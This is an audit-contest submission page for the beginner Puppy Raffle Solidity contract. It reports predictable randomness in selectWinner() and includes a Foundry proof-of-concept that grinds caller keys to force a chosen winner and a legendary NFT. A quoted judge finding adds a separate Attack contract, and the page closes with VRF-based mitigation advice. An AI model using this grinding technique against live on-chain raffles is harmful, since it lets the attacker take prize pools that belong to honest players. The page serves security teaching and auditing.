Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

selectWinner() "randomness" is fully attacker-grindable via msg.sender/block.timestamp/block.difficulty

comphygxp

Root + Impact

Description

  • selectWinner() is external with no access-control modifier - anyone can call it, and it does not require the caller to be a raffle player.

  • Both the winner index and the NFT rarity are derived purely from keccak256(msg.sender, block.timestamp, block.difficulty) (and keccak256(msg.sender, block.difficulty) for rarity). None of these three inputs are secret from whoever broadcasts the transaction: msg.sender is the caller's own free choice (a fresh, zero-stake EOA works fine), block.timestamp is known at call time, and block.difficulty (post-Merge prevrandao) is revealed by the beacon chain one slot ahead of use - so all three are computable off-chain, for free, before ever sending a transaction.

  • An attacker can therefore brute-force candidate private keys locally, compute the exact same formula the contract uses, and find an address that simultaneously forces a chosen player to win AND forces the rarest (legendary) NFT to be minted - then simply call selectWinner() from that address.

function selectWinner() external {
...
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
...
}

Risk

Likelihood:

  • Reason 1 // No special role, stake, or timing is required - any freshly generated, zero-cost address can be the msg.sender that calls selectWinner().

  • Reason 2 // The search space is tiny (probability roughly 1/players.length * 1/20 per candidate for a specific winner+legendary combo), so a qualifying address is found almost instantly with pure off-chain hashing.

Impact:

  • Impact 1 // The raffle's core fairness guarantee is broken: an attacker can deterministically choose who wins the 80% prize pool ETH instead of it being a genuine uniform draw among eligible players.

  • Impact 2 // The NFT rarity distribution (intended 70/25/5) can be forced to legendary every time, instead of the advertised probabilities.

Proof of Concept

Ran with forge test --match-path "test/PoC_3.t.sol" -vv: [PASS] test_OutsiderCanGrindCallerToFixWinnerAndRarity(). 4 players enter normally (one of them, attackerColluder, is the intended beneficiary). A completely separate, non-participant address (outsiderBot, never entered, paid nothing) brute-forces candidate private keys off-chain using the contract's exact formula, finds a qualifying address quickly, funds it with only gas money, and calls selectWinner() once. All assertions pass: the forced winner receives the full prize pool and the legendary NFT, while the three honest players receive nothing - their genuine ~25% win chance was reduced to exactly 0%.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract PoC_3_RandomnessManipulation is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
​
address honestPlayerOne = address(0xA1);
address honestPlayerTwo = address(0xA2);
address honestPlayerThree = address(0xA3);
address attackerColluder = address(0xA4);
address feeAddress = address(99);
uint256 duration = 1 days;
​
address outsiderBot;
​
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
​
address[] memory players = new address[](4);
players[0] = honestPlayerOne;
players[1] = honestPlayerTwo;
players[2] = honestPlayerThree;
players[3] = attackerColluder;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
}
​
function test_OutsiderCanGrindCallerToFixWinnerAndRarity() public {
uint256 playerCount = 4;
address foundCaller;
uint256 foundPk;
bool found = false;
​
uint256 ts = block.timestamp;
uint256 diff = block.difficulty;
​
for (uint256 pk = 1; pk < 50000; pk++) {
address candidate = vm.addr(pk);
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(candidate, ts, diff))) % playerCount;
uint256 rarity = uint256(keccak256(abi.encodePacked(candidate, diff))) % 100;
​
if (winnerIndex == 3 && rarity > 95) {
foundCaller = candidate;
foundPk = pk;
found = true;
break;
}
}
​
assertTrue(found, "expected to find a qualifying candidate address quickly");
​
outsiderBot = foundCaller;
vm.deal(outsiderBot, 1 ether);
​
uint256 attackerColluderBalanceBefore = attackerColluder.balance;
uint256 honestOneBalanceBefore = honestPlayerOne.balance;
uint256 honestTwoBalanceBefore = honestPlayerTwo.balance;
uint256 honestThreeBalanceBefore = honestPlayerThree.balance;
​
vm.prank(outsiderBot);
puppyRaffle.selectWinner();
​
assertEq(puppyRaffle.previousWinner(), attackerColluder, "attacker forced their chosen colluder to win");
assertEq(
puppyRaffle.tokenIdToRarity(0),
puppyRaffle.LEGENDARY_RARITY(),
"attacker forced legendary rarity deterministically"
);
assertEq(puppyRaffle.ownerOf(0), attackerColluder, "the legendary puppy NFT was minted to the forced winner");
​
uint256 expectedPrize = (entranceFee * 4 * 80) / 100;
assertEq(
attackerColluder.balance,
attackerColluderBalanceBefore + expectedPrize,
"attacker's colluder received the full deterministic prize pool"
);
​
assertEq(honestPlayerOne.balance, honestOneBalanceBefore, "honest player 1 received nothing");
assertEq(honestPlayerTwo.balance, honestTwoBalanceBefore, "honest player 2 received nothing");
assertEq(honestPlayerThree.balance, honestThreeBalanceBefore, "honest player 3 received nothing");
}
}

Recommended Mitigation

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Use a verifiable, unpredictable-in-advance randomness source instead, e.g. Chainlink VRF:
+ // request randomness here, then perform winner/rarity selection inside the VRF callback
+ // using the returned random value. At minimum, msg.sender must never be part of the seed,
+ // since it is the one input fully controlled by whoever broadcasts the transaction.

A true VRF or commit-reveal scheme is required to fully close this gap - simply removing msg.sender from the seed still leaves a proposer-influenceable block.difficulty/prevrandao value, which is not safe for a high-value selection like this one.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!